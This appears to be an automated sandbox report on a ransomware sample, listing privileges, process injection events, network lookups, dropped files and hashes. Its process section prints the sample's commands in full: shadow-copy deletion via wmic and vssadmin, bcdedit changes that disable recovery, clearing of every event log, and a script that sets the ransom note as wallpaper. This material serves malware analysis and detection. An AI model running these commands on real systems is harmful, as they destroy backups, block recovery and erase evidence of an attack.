Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4544 wrote to memory of 1420 N/A C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe C:\Windows\SYSTEM32\cmd.exe
PID 4544 wrote to memory of 1420 N/A C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe C:\Windows\SYSTEM32\cmd.exe
PID 4544 wrote to memory of 1900 N/A C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe C:\Windows\SYSTEM32\cmd.exe
PID 4544 wrote to memory of 1900 N/A C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe C:\Windows\SYSTEM32\cmd.exe
PID 4544 wrote to memory of 4364 N/A C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe C:\Windows\SYSTEM32\cmd.exe
PID 4544 wrote to memory of 4364 N/A C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe C:\Windows\SYSTEM32\cmd.exe
PID 4544 wrote to memory of 4888 N/A C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe C:\Windows\SYSTEM32\cmd.exe
PID 4544 wrote to memory of 4888 N/A C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe C:\Windows\SYSTEM32\cmd.exe
PID 4544 wrote to memory of 4224 N/A C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe C:\Windows\SYSTEM32\cmd.exe
PID 4544 wrote to memory of 4224 N/A C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe C:\Windows\SYSTEM32\cmd.exe
PID 1420 wrote to memory of 38948 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 1420 wrote to memory of 38948 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 1900 wrote to memory of 38996 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\vssadmin.exe
PID 1900 wrote to memory of 38996 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\vssadmin.exe
PID 4364 wrote to memory of 38988 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 4364 wrote to memory of 38988 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 4224 wrote to memory of 39004 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4224 wrote to memory of 39004 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4888 wrote to memory of 38064 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 4888 wrote to memory of 38064 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 4544 wrote to memory of 34628 N/A C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4544 wrote to memory of 34628 N/A C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 34628 wrote to memory of 35832 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 34628 wrote to memory of 35832 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 34628 wrote to memory of 37004 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\rundll32.exe
PID 34628 wrote to memory of 37004 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\rundll32.exe

Uses Volume Shadow Copy service COM API

ransomware

Processes

C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe

"C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe"

C:\Windows\SYSTEM32\cmd.exe

cmd /c wmic shadowcopy delete /nointeractive

C:\Windows\SYSTEM32\cmd.exe

cmd /c vssadmin.exe Delete Shadows /All /Quiet

C:\Windows\SYSTEM32\cmd.exe

cmd /c bcdedit /set {default} recoveryenabled No

C:\Windows\SYSTEM32\cmd.exe

cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\SYSTEM32\cmd.exe

cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"

C:\Windows\System32\Wbem\WMIC.exe

wmic shadowcopy delete /nointeractive

C:\Windows\system32\bcdedit.exe

bcdedit /set {default} recoveryenabled No

C:\Windows\system32\vssadmin.exe

vssadmin.exe Delete Shadows /All /Quiet

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"

C:\Windows\system32\bcdedit.exe

bcdedit /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command "$a = [System.IO.File]::ReadAllText(\"C:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"

C:\Windows\system32\reg.exe

"C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\2076628678.png /f

C:\Windows\system32\rundll32.exe

"C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False

Network

Country Destination Domain Proto
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 203.107.17.2.in-addr.arpa udp
US 8.8.8.8:53 136.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
NL 23.62.61.194:443 www.bing.com tcp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 194.61.62.23.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp

Files

memory/4544-0-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/4544-1-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/4544-3-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/4544-4-0x00000000007A0000-0x00000000007E3000-memory.dmp

memory/4544-8-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/4544-9-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/4544-7-0x0000000000650000-0x0000000000651000-memory.dmp

memory/4544-6-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/4544-5-0x0000000000401000-0x000000000049D000-memory.dmp

memory/4544-2-0x0000000000400000-0x00000000004E5000-memory.dmp

C:\GET_YOUR_FILES_BACK.txt

MD5 6d81ed40ba0a283e5483bfe6a448e9d7
SHA1 0c847a5f9df743b13e1aa11b4c24a4309e9a7119
SHA256 b4464f61655ca584170694bedd52c6cff2b74c18a761b33cfb1387f017d2d57d
SHA512 8956415f155f24852ac672aa06cc6a8819a2a0e44a9b940f8f3390c34ebb43ff10f4635722f104a5a9a94098d3f286362f507dc49d3f048e540f48c073eaf379

memory/39004-17300-0x0000017534F20000-0x0000017534F42000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eg3qdsht.xfj.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4544-21755-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/4544-22613-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/4544-22615-0x0000000000401000-0x000000000049D000-memory.dmp

memory/4544-22614-0x00000000007A0000-0x00000000007E3000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 7274a07d1b80de6f66290b47588cee3b
SHA1 d926b384806c755fe6b9d03f68852765aabb5703
SHA256 5eba7517357473e4d5d7ede75c3768069c578d2b0023473fd67f76b373430de8
SHA512 b7813fea9091298d48c87b259b0d4473ddc4480667f82ed6b5f8bdfa600590dcbfb1d62cbaca649dcf321d85cb786bf62d48826ab04297a22b7c88439b94bcf3

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 6cf293cb4d80be23433eecf74ddb5503
SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00